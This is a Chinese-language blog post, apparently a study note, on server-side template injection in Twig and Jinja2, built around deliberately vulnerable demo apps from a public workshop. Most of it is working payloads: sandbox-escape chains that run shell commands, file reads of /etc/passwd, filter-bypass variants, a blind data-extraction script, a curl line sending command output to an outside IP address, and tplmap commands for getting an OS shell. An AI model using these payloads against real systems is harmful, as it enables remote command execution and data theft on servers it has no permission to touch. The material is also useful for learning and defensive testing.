模板注入SSTI

首发自:https://moonsec.top/articles/108

说明

此篇主要记录学习过程中遇到的问题,所属的安全场景均来自互联网,仅做学习研究

1 简介

1.1 模板作用

    借助于模板引擎,开发人员就可以在应用程序中使用静态模板文件了。在运行时,模板引擎会用实际值替换模板文件中的相关变量,并将模板转化为HTML文件发送给客户端。这种方法使设计HTML页面变得更加轻松。
    虽然模板是静态部署的,但高度可配置服务(SaaS)的出现使得一些模板库可以直接“暴露”在互联网上。这些看似非常有限的模版库其实比许多开发者想象的要强大得多。
image.png

模板的作用

1、数据绑定示例
    在模板中,开发人员需要为动态值定义静态内容和占位符。在运行时,模板将交由引擎处理,以映射模板中的动态值引用。

Hello {{firstName}} {{lastName}}!

2、简单模板示例
    模板是通常以脚本的形式提供,它的作用不仅仅是简单的数据绑定。因为数据结构可能很复杂(比如列表和嵌套对象),所以,模板通常会提供一些类似于编程的功能。例如,模板引擎可能会允许访问对象的相关字段,具体如下所示:

Hello {{user.firstName}} {{user.lastName}}!

3、嵌套属性示例
    像上面这样的嵌套属性并不会直接交由语言进行处理,相反,而是由引擎来解析占位符内的动态值user.firstName。引擎将直接调用方法或字段firstname。这种语法通常简单紧凑,以便于使用。同时,由于这些语法通常非常强大,以至于可以脱离简单数据绑定的上下文。

2 模板注入

    所谓模板注入,又称服务器端模板注入(SSTI),是2015年出现的一类安全漏洞。James Kettle在2015年黑帽大会上进行的演讲,为多个模板引擎的漏洞利用技术奠定了坚实的基础。要想利用这类安全漏洞,需要对相关的模板库或相关的语言有一定程度的了解。
    为了滥用模板引擎,攻击者需要充分利用模板引擎所提供的各种功能。如果引擎允许访问字段,就可以访问我们感兴趣的内部数据结构。进一步,这些内部数据结构可能具有我们想覆盖的状态。因此,它们可能会暴露出强大的类型。如果引擎允许函数调用,那么,我们的目标就是读取文件、执行命令或访问应用程序的内部状态的函数。

2.1 识别模板引擎

    目前,已经存在大量的模板库。实际上,我们可以在每种编程语言中找到几十个库。在实践中,如果我们把自己限制在最流行的库中,当我们知道使用的语言时,我们可以将注意力集中在2到3个潜在的库上面。
C#(StringTemplate,Sharepoint上动态使用的ASPX)。
Java(Velocity、Freemarker、Pebble、Thymeleaf和Jinjava)
PHP(Twig、Smarty、Dwoo、Volt、Blade、Plates、Mustache、Tornado、mustache和String Template)
Python (Jinja2、Makoto、Django)
Go (text/template)
对应的模板引擎如下表
image.png

2.2 模板注入方法

James Kettles提出模板注入方法
image.png
启发式方法
    与其盲目地测试每一个已知的payload,不如以某种程度的置信度来确认所使用的技术。另外,最终的payload可能需要进行一些调整,以符合特定的运行时环境的要求。
    下面是James Kettles提出的决策树,可以用来识别所使用的模板。这个决策树是由简单的评估组成的,其中的表达式无法适用于每一种技术。由于这些都是非常基本的表达式,所以当一个模版库的新版本发布时,这些表达式也不会很快变得过时。当然,相关的方法名和高级语法可能会随着时间的推移而发生变化。
作者给出了决策树,输入{{7*7}},不同的模板会有不同输出结果,Twig模板输出49,Jinja2模板输出7777777
image.png

3 几个Demo

    相关的练习可以从下述地址下载:
https://github.com/GoSecure/template-injection-workshop

3.1 Twig (PHP)

根据上述的地址下载代码并执行
image.png
尝试下输入{{7*7}}
image.png
查看对应的源码

include('vendor/twig/twig/lib/Twig/Autoloader.php');
if (isset($_POST['email'])) {
    $email=$_POST['email'];

    Twig_Autoloader::register();
    try {
        $loader = new Twig_Loader_String();
        $twig = new Twig_Environment($loader);

        $result= $twig->render("Thanks {$email}. You will be notified soon.");
        echo $result;

    } catch (Exception $e) {
        echo $e->getMessage();
    }
}

通过$twig->render("Thanks {$email} 解析了前台输入的内容
$twig 是一个变量_self,它公开了一些内部 Twig API。这是为利用该registerUndefinedFilterCallback功能而创建的恶意负载。在下面的有效负载中,id执行命令返回当前用户 (Linux) 的 id。

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

image.png

3.2 Jinja2(Python)

利用源码做简单的修改,咱们做个demo

from flask import Flask, request, session, g, redirect, url_for, abort, render_template, flash, Response
from jinja2 import Environment
from datetime import date

app = Flask(__name__)
Jinja2 = Environment()


# app.config.from_pyfile('config.py')


@app.route("/gen_vcard", methods=['POST'])
def gen_vcard():
    name = request.values.get('name')
    if (name is None): name = "Anonymous"
    org = request.values.get('org')
    phone = request.values.get('phone')
    email = request.values.get('email')

    d = date.today()
    output = Jinja2.from_string("""BEGIN:VCARD
VERSION:2.1
N:""" + (";".join(name.split(" "))) + """
FN:""" + name + """
ORG:""" + org + """
TEL;WORK;VOICE:""" + phone + """
EMAIL:""" + email + """
REV:""" + d.isoformat() + """
END:VCARD""").render()

    # Instead, the variable should be passed to the template context.
    # Jinja2.from_string('Hello {{name}}!').render(name = name)

    return output, 200


@app.route("/")
def index():
    return render_template('index.html')


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8089)

页面显示的信息如下:
image.png
得到的信息如下:
image.png
因此上述肯定存在SSTI注入的漏洞
找一个可用的poc

{{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}

image.png
执行成功
ps: 该poc基于python3 ,不同的环境需要进行对应的修改
调试下,发现在\Jinja2Demo\venv\Lib\site-packages\jinja2\environment.py的from_code中调用了python3 的exec方法
image.png

3.2.1 注入思路|payload

__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

注入思路

随便找一个内置类对象用__class__拿到他所对应的类
用__bases__拿到基类(<class 'object'>)
用__subclasses__()拿到子类列表
在子类列表中直接寻找可以利用的类getshell

接下来只要找到能够利用的类(方法、函数)就好了:

可以使用如下脚本帮助查找方法:

from flask import Flask,request
from jinja2 import Template
search = 'eval'   
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass

3.2.2 python2、python3通用payload

因为每个环境使用的python库不同 所以类的排序有差异
直接使用popen(python2不行)
os._wrap_close类里有popen。

"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()

使用os下的popen
可以从含有os的基类入手,比如说linecache。

"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()

使用__import__下的os(python2不行)
可以使用__import__的os。

"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()

__builtins__下的多个函数
__builtins__下有eval,__import__等的函数,可以利用此来执行命令。

"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

利用python2的file类读写文件
在python3中file类被删除了,所以以下payload只有python2中可行。
用dir来看看内置的方法:

#读文件
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()
#写文件
"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')

python2的str类型不直接从属于属于基类,所以要两次 .bases

通用getshell
原理就是找到含有__builtins__的类,然后利用。

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
#读写文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

3.2.3 绕过

绕过中括号

#通过__bases__.__getitem__(0)(__subclasses__().__getitem__(128))绕过__bases__[0](__subclasses__()[128])
#通过__subclasses__().pop(128)绕过__bases__[0](__subclasses__()[128])
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()

过滤{{或者}}

可以使用{%绕过
{%%}中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://39.105.116.195:8080/?i=`whoami`').read()=='p' %}1{% endif %}

过滤_
用编码绕过

比如:__class__ => \x5f\x5fclass\x5f\x5f

_是\x5f,.是\x2E
过滤了_可以用dir(0)[0][0]或者request['args']或者 request['values']绕过
但是如果还过滤了 args所以我们用request[‘values’]和attr结合绕过
例如''.__class__写成 ''|attr(request['values']['x1']),然后post传入x1=__class__

绕过逗号+中括号

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.os.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}

过滤.
.在payload中是很重要的,但是我们依旧可以采用attr()或[]绕过
举例

正常payload:
url?name={{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}`

使用attr()绕过:

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}

使用[]绕过:
可以用getitem()用来获取序号

url?name={{ config['__class__']['__init__']['__globals__']['os']['popen']('ipconfig')['read']() }}

其他:
''.__class__可以写成 getattr('',"__class__")或者 ’'|attr("__class__")

过滤[]
可以用getitem()用来获取序号

"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)

绕过双大括号(dns外带)

{% if ''.__class__.__bases__.__getitem__(0).__subclasses__().pop(250).__init__.__globals__.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

python2下的盲注
python2下如果不能用命令执行,可以使用file类进行盲注

import requests
url = 'http://127.0.0.1:8080/'
def check(payload):
    postdata = {
        'exploit':payload
        }
    r = requests.post(url, data=postdata).content
    return '~p0~' in r
password  = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
for i in xrange(0,100):
    for c in s:
        payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
        if check(payload):
            password += c
            break
    print password

绕过 引号 中括号 通用getshell

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__==chr(95)%2bchr(119)%2bchr(114)%2bchr(97)%2bchr(112)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(111)%2bchr(115)%2bchr(101) %}{{ c.__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read() }}{% endif %}{% endfor %}

模板注入攻击工具

Tqlmap
Tplmap是一个python工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用SSTI来访问目标文件或操作系统。适用于有参数的注入

python tplmap.py -u http://xxxx/*     (无参数)
python tplmap.py -u http://xxxx?name=1 (有参数)
python tplmap.py -u url --os-shell   (获取shell)

参考

1、https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security.pdf
2、https://portswigger.net/research/server-side-template-injection
3、https://blog.51cto.com/u_14299052/3104121
4、https://gosecure.github.io/template-injection-workshop/#0
5、https://xz.aliyun.com/t/7746 ----python的ssti注入方法
6、https://blog.csdn.net/solitudi/article/details/107752717 ssti 方法绕过

posted @ 2022-08-06 16:04  TT0TT  阅读(2018)  评论(0编辑  收藏  举报